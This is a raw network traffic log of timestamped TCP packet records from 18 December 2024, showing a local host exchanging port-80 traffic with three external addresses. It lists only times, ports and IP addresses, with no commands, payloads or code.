Dec 18, 2024 12:00:33.260592937 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.260626078 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.260695934 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.261243105 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.261352062 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.261420012 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.261460066 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.262089968 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.262177944 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.262203932 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.262242079 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.262784958 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.262824059 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.262882948 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.262923956 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.263365984 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.263403893 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.263461113 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.263665915 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.264012098 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.264055014 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.264151096 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.264185905 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.264777899 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.264817953 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.264836073 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.265197039 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.265479088 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.265542030 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.265599966 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.265635014 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.266012907 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.266051054 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.266057968 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.266092062 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.266782045 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.266822100 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.266825914 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.266854048 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.267359018 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.267400026 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.267425060 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.267453909 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.268281937 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.268321991 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.268376112 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.268415928 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.275497913 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.275557041 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.275561094 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.275573015 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.275593042 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.275612116 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.304266930 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.304291010 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.304348946 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.304533005 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.304572105 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.304626942 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.304666996 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.305309057 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.305417061 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.305430889 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.305463076 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.306025982 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.306164980 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.306303024 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.306344032 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.306662083 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.306699991 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.306802034 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.306838989 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.307648897 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.307694912 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.307713032 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.307744026 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.308419943 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.308459044 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.309094906 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.309199095 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.309221029 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.309269905 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.309406042 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.309516907 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.309561968 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.310134888 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.310246944 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.310266972 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.310281992 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.310687065 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.310764074 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.310952902 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.311053038 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.311173916 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.311599970 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.311647892 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.311758995 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.311971903 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.312385082 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.312474012 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.312520981 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.312570095 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.358926058 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:33.359622955 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:33.360521078 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:33.379884005 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.379949093 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.380127907 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.380165100 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.380389929 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.380434036 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.380775928 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.380815029 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.380887985 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.380928040 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.381347895 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.381442070 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.381658077 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.381741047 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.381786108 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.382210970 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.382249117 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.382493973 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.382529974 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.382622957 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.382662058 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.383198977 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.383236885 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.383368969 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.383404016 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.383512020 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.383550882 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.384082079 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.384116888 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.384169102 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.384207010 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.384247065 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.384280920 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.384988070 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.385023117 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.385086060 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.385123968 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.385155916 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.385189056 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.385797024 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.385859013 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.385879040 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.385955095 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.386435032 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.386473894 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.386580944 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.387340069 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.387384892 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.387411118 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.387444973 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.438013077 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.438083887 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.438182116 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.438256025 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.438391924 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.438436985 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.438502073 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.438536882 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.439357996 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.439409971 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.439546108 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.439585924 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.440334082 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.440373898 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.440433979 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.440474033 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.440581083 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.440643072 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.441653013 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.441713095 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.441765070 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.441823006 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.442225933 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.442291975 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.442336082 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.442905903 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.442931890 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.442950964 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.442980051 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.443260908 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.443303108 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.443444967 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.443492889 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.443844080 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.443929911 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.443949938 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.443981886 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.444428921 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.444502115 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.444588900 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.444976091 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.445015907 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.445019007 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.445054054 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.445668936 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.445714951 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.445771933 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.445806980 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.480099916 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:33.509293079 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.573785067 CET	49979	80	192.168.2.6	185.215.113.209
Dec 18, 2024 12:00:33.574939966 CET	49985	80	192.168.2.6	185.215.113.209
Dec 18, 2024 12:00:33.629837990 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.693965912 CET	80	49979	185.215.113.209	192.168.2.6
Dec 18, 2024 12:00:33.694025040 CET	49979	80	192.168.2.6	185.215.113.209
Dec 18, 2024 12:00:33.694578886 CET	80	49985	185.215.113.209	192.168.2.6
Dec 18, 2024 12:00:33.695334911 CET	49985	80	192.168.2.6	185.215.113.209
Dec 18, 2024 12:00:33.719455004 CET	49985	80	192.168.2.6	185.215.113.209
Dec 18, 2024 12:00:33.796641111 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:33.796713114 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:33.796722889 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:33.796725035 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:33.796771049 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:33.796771049 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:33.796900034 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:33.796911001 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:33.796922922 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:33.796937943 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:33.796951056 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:33.796956062 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:33.796956062 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:33.797166109 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:33.797241926 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:33.797517061 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:33.805013895 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:33.805124044 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:33.805161953 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:33.805231094 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:33.839176893 CET	80	49985	185.215.113.209	192.168.2.6
Dec 18, 2024 12:00:33.916320086 CET	80	49977	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:33.916384935 CET	49977	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:33.954278946 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.954433918 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.954500914 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.954551935 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.954566956 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.954583883 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.954623938 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.955179930 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.955226898 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.955378056 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.955406904 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.955957890 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.955986977 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.956089973 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.956120014 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.956685066 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.956715107 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.956777096 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.956806898 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.957508087 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.957621098 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.957658052 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.958214998 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.958250999 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.958297014 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.958333015 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.959012985 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.959043980 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.959094048 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.959125042 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.959779978 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.959810972 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.959930897 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.959963083 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.960545063 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.960572958 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.960585117 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.960612059 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.961249113 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.961335897 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.961368084 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.961993933 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.962033033 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.962083101 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.962115049 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.962732077 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.962766886 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.962838888 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.962869883 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.963534117 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.963565111 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.963620901 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.963649035 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.964365959 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.964397907 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.964421988 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.964453936 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.965219975 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.965303898 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.965339899 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.965811014 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.965848923 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.965924025 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.965954065 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.966552973 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.966646910 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.966650009 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.966710091 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.967291117 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.967330933 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.967381954 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.967413902 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.968030930 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.968060970 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.968142986 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.968175888 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.968832970 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.969031096 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.969062090 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.969527960 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.969645977 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.969698906 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.970289946 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.970320940 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.970387936 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.970417976 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.971127987 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.971158981 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.971199989 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.971231937 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.971851110 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.971909046 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.971909046 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.971935987 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.972569942 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.972601891 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.972659111 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.972687006 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.973341942 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.973423004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.973455906 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.974095106 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:33.974128962 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:33.974226952 CET	80	49913	185.215.113.17	192.168.2.6
